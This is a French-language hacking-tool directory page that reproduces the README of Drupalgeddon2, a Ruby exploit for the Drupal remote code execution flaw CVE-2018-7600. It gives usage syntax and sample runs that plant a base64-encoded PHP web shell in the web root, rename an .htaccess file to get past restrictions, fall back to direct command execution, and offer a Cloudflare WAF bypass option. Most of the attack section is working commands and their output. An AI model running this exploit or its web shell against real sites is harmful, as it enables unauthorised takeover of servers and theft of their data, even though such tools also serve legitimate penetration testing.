Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Drupalgeddon2 — Exploit pour Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002) | Kitploit
Outils/GitHubGitHub/dreadlocked/drupalgeddon2
Génération de PayloadsAnalyse des VulnérabilitésExploitationShellcodeExploitation d'Applications WebTests d'Intrusion
GitHubdreadlocked/drupalgeddon2

Drupalgeddon2

Exploit pour Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)

Voir le dépôt
60016923il y a 5 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2018-7600 | Drupal 8.5.x < 8.5.1 / 8.4.x < 8.4.6 / 8.x < 8.3.9 / 7.x? < 7.58 / < 6.x? - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

Drupalggedon2 ~ https://github.com/dreadlocked/Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)

Supporte :

  • Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 ~ URL user/register, ciblant les paramètres account/mail et #post_render, en utilisant la fonction PHP passthru
  • Drupal < 7.58 ~ URL user/password, ciblant le formulaire triggering_element_name et le paramètre #post_render, en utilisant la fonction PHP
passthru
  • Fonctionne avec des commandes directes (aussi appelé méthode sans fichier / File-Less Method) ou écrit un shell PHP à la racine web (./) ou dans des sous-répertoires (./sites/default/ et ./sites/default/files/)
  • Prend en charge les cibles Linux et Windows
  • Détecte automatiquement la version de Drupal (ou fait une bonne supposition !)
  • La méthode user/register a été choisie pour Drupal v8.x, car elle renvoie HTTP 200 et affiche la sortie dans la réponse JSON data (décommentez le code pour la méthode timezone/#lazy_builder, qui renvoie HTTP 500 et en aveugle !) (Plus d'informations)

    Auteurs :

    • Hans Topo (@_dreadlocked)
    • g0tmi1k (@g0tmi1k)

    Notes :

    • Pour les utilisateurs/configurations avancés, il existe un exploit plus personnalisable. Voir la section drupalgeddon2-customizable-beta.rb
    • Avant d'ouvrir un ticket, veuillez lire la section de dépannage à la fin. Merci !

    Utilisation :

    root@kitploit:~
    $ ruby drupalgeddon2.rb
    Usage: ruby drupalggedon2.rb <target> [--verbose] [--authentication]
           ruby drupalgeddon2.rb https://example.com
    $
    

    Les paramètres --verbose et --authentication peuvent être ajoutés dans n'importe quel ordre après et sont tous deux optionnels. Si --authentication est spécifié, vous serez invité à soumettre :

    • le nom d'utilisateur,
    • le mot de passe,
    • le nom du champ du formulaire pour le nom d'utilisateur,
    • le nom du champ du formulaire pour le mot de passe,
    • le chemin URL de la page de connexion web, ex. user/login
    • l'éventuel suffixe à ajouter après les identifiants dans l'envoi du formulaire, ex. form_id, etc.

    Ceci permet de prendre en charge l'exploitation de sites web qui nécessitent d'abord une connexion web basée sur POST et qui répondent avec un cookie de session après une authentification réussie.

    Exemple Drupal v8.x

    Drupal v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1

    root@kitploit:~
    $ ./drupalgeddon2.rb http://localhost/drupal-8/
    [*] --==[::#Drupalggedon2::]==--
    --------------------------------------------------------------------------------
    [i] Target : http://localhost/drupal-8/
    --------------------------------------------------------------------------------
    [!] MISSING: http://localhost/drupal-8/CHANGELOG.txt    (HTTP Response: 404)
    [+] Found  : http://localhost/drupal-8/core/CHANGELOG.txt    (HTTP Response: 200)
    [+] Drupal?: v8.x
    --------------------------------------------------------------------------------
    [*] Testing: Code Execution
    [i] Payload: echo TTTBJJBP
    [+] Result : TTTBJJBP
    [+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
    --------------------------------------------------------------------------------
    [*] Testing: Writing To Web Root (./)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
    --------------------------------------------------------------------------------
    [i] Fake shell:   curl 'http://localhost/drupal-8/s.php' -d 'c=hostname'
    ubuntu140045x64-drupal>> uname -a
    Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
    ubuntu140045x64-drupal>>
    

    Exemple Drupal v7.x

    Drupal < v7.58

    root@kitploit:~
    $ ./drupalgeddon2.rb http://localhost/drupal-7/
    [*] --==[::#Drupalggedon2::]==--
    --------------------------------------------------------------------------------
    [i] Target : http://localhost/drupal-7/
    --------------------------------------------------------------------------------
    [+] Found  : http://localhost/drupal-7/CHANGELOG.txt    (HTTP Response: 200)
    [+] Drupal!: v7.31
    --------------------------------------------------------------------------------
    [*] Testing: Code Execution
    [i] Payload: echo TKYPVVJJ
    [+] Result : TKYPVVJJ
    [+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
    --------------------------------------------------------------------------------
    [*] Testing: Writing To Web Root (./)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
    --------------------------------------------------------------------------------
    [i] Fake shell:   curl 'http://localhost/drupal-7/s.php' -d 'c=hostname'
    
    ubuntu140045x64-drupal>> uptime
     14:52:33 up 4 days,  3:35,  1 user,  load average: 0.00, 0.01, 0.05
    ubuntu140045x64-drupal>>
    

    Commandes directes / Shell non PHP (méthode sans fichier)

    Si vous ne voulez même pas essayer d'écrire un shell web PHP sur le serveur web, modifiez le fichier comme indiqué (il se rabattra s'il ne trouve pas d'emplacement accessible en écriture de toute façon) :

    root@kitploit:~
    try_phpshelltryphpshell = false
    

    Exemple

    root@kitploit:~
    $ ./drupalgeddon2.rb http://localhost/drupal-nonwrite/
    [*] --==[::#Drupalggedon2::]==--
    --------------------------------------------------------------------------------
    [i] Target : http://localhost/drupal-nonwrite/
    --------------------------------------------------------------------------------
    [!] MISSING: http://localhost/drupal-nonwrite/CHANGELOG.txt    (HTTP Response: 404)
    [+] Found  : http://localhost/drupal-nonwrite/core/CHANGELOG.txt    (HTTP Response: 200)
    [+] Drupal?: v8.x
    --------------------------------------------------------------------------------
    [*] Testing: Code Execution
    [i] Payload: echo HYCBAIET
    [+] Result : HYCBAIET
    [+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
    --------------------------------------------------------------------------------
    [*] Testing: Writing To Web Root (./)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    [*] Testing: Writing To Web Root (sites/default/)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    [*] Testing: Writing To Web Root (sites/default/files/)
    [*] Moving : ./sites/default/files/.htaccess
    [i] Payload: mv -f sites/default/files/.htaccess sites/default/files/.htaccess-bak; echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/files/s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [!] Target is NOT exploitable for some reason [1] (HTTP Response: 403)...    May not be able to execute PHP from here?
    [!] FAILED: Couldn't find writeable web path
    --------------------------------------------------------------------------------
    [*] Dropping back to direct commands
    drupalgeddon2>> lsb_release -a
    Distributor ID:	Ubuntu
    Description:	Ubuntu 14.04.5 LTS
    Release:	14.04
    Codename:	trusty
    drupalgeddon2>>
    

    Prise en charge du proxy

    Pour la prise en charge du proxy (ex. Burp), modifiez le fichier en remplaçant par vos valeurs. Exemple :

    root@kitploit:~
    proxy_addr = "192.168.0.130"
    proxy_port = 8080
    

    Expérimental mais utilisable : drupalgeddon2-customizable-beta.rb

    drupalgeddon2-customizable-beta.rb est destiné aux utilisateurs plus avancés car il est plus personnalisable. Il permet de spécifier certains paramètres supplémentaires comme la méthode PHP à utiliser (pas seulement system() ou passthru()) et la manière d'atteindre le formulaire user/password.

    Exemples d'utilisation :

    root@kitploit:~
    Usage example: ./drupalgeddon-customizable-beta.rb -u http://example.com/ -v 7 -c id
    More info: -h
        -u, --url URL                    [Required] Service URL
        -v, --version VERSION            [Required] Target Drupal version {7,8}
        -c, --command COMMAND            [Required] Command to execute
        -m, --method PHP_METHOD          [Optional] PHP Method to use, by default: passthru
            --form                       [Optional] Form to attack, by default '/user/password' in Drupal 7 and '/user/register' in Drupal 8
            --cloudflare                 [Optional] Tries to bypass Cloudflare using Lua-Nginx +100 parameters WAF Bypass
        -h, --help                       Prints this help
    

    Dépannage :

    • Si vous obtenez une erreur de type cannot load such file « LoadError », exécutez sudo gem install <missing dependency>. En particulier, vous devrez peut-être installer la dépendance highline avec sudo gem install highline

    • La cible peut rediriger vers un autre chemin où se trouve Drupal (comme les réponses HTTP 30x)

      • Solution : Assurez-vous d'utiliser le bon chemin Drupal
    • Il y a une limitation des caractères autorisés pouvant être utilisés dans la charge utile/commande

      • Solution : Cela est dû à la façon dont la vulnérabilité les perçoit et au fait qu'ils sont encodés pour la requête URL. Encodez la charge utile, décodez-la sur la cible. Par exemple avec base64
    • Si la cible est sous Linux et n'utilise pas « GNU base64 », il peut s'agir de la version BSD (ou elle n'est pas installée du tout !)

      • Solution : utilisez base64 -D (plutôt que base64 -d) ou utilisez la méthode sans fichier
    • Si la cible utilise Windows, l'écriture du shell PHP échoue toujours

      • Solution : Utilisez la méthode sans fichier. Cela est dû au fait que la sortie est transmise à un programme Unix, plutôt qu'à l'utilisation de certutil ou PowerShell
    • Drupal v8.x - ./.htaccess empêchera l'exécution de tout script PHP dans ./sites/default/ si c'est le dossier accessible en écriture

      • Solution : Passez à la méthode sans fichier
    • Drupal v8.x - « clean URL » n'est pas activé sur la cible

      • Solution : N/A - Non vulnérable =(
    • Drupal v7.x - Si le formulaire /user/password est désactivé, vous devez trouver un autre formulaire (pensez à modifier l'exploit !)

      • Solution : Le paramètre form_id changera selon le formulaire utilisé pour exploiter la vulnérabilité

    Liens :

    • Avis de sécurité Drupal SA-CORE-2018-002 ~ https://www.drupal.org/sa-core-2018-002
    • CVE ~ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7600
    • Analyse & Recherche ~ https://research.checkpoint.com/uncovering-drupalgeddon-2/
    • Commandes cURL/exemple de PoC ~ https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708
    Télécharger l’outil